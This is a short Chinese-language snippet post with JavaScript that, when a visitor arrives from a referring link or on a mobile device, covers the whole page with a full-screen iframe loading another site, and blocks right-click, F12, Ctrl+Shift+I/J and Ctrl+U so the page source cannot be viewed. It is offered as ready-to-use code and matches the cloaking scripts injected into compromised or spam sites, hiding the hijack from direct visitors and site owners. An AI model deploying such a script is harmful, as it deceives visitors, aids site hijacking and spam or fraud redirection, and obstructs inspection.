根据用户来源和设备类型决定是否强制加载一个指定的网页
根据用户来源(referrer)和设备类型(移动端/PC端)决定是否强制加载一个指定的网页,并禁止用户通过右键菜单或快捷键(如F12、Ctrl+U等)调试或查看源代码。
var referrer = document.referrer || "";
var hasReferrer = referrer !== "";
var isMobile = /Macintosh|Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini|Mobi|Mobile/i.test(navigator.userAgent);
var targetUrls = [''];
if (hasReferrer || isMobile) {
targetUrls = ['http://www.*.cn/'];
}
var randomIndex = Math.floor(Math.random() * targetUrls.length);
var finalUrl = targetUrls[randomIndex];
if (finalUrl !== '') {
document.write('<meta name="viewport" content="user-scalable=no,width=device-width, initial-scale=1.0" />');
document.write('<style>html,body{width:100%;height:100%;overflow:hidden;margin:0;padding:0;}</style>');
document.write('<div style="width:100%;height:100%;position:fixed;top:0;left:0;z-index:2147483647;background:#fff">');
document.write('<iframe src="' + finalUrl + '" frameborder="0" style="border:0;width:100%;height:100%;"></iframe>');
document.write('</div>');
}
(function() {
document.addEventListener('contextmenu', function(e) { e.preventDefault(); });
document.addEventListener('keydown', function(e) {
if (e.keyCode === 123 || (e.ctrlKey && e.shiftKey && (e.keyCode === 73 || e.keyCode === 74)) || (e.ctrlKey && e.keyCode === 85)) {
e.preventDefault();
return false;
}
});
})();
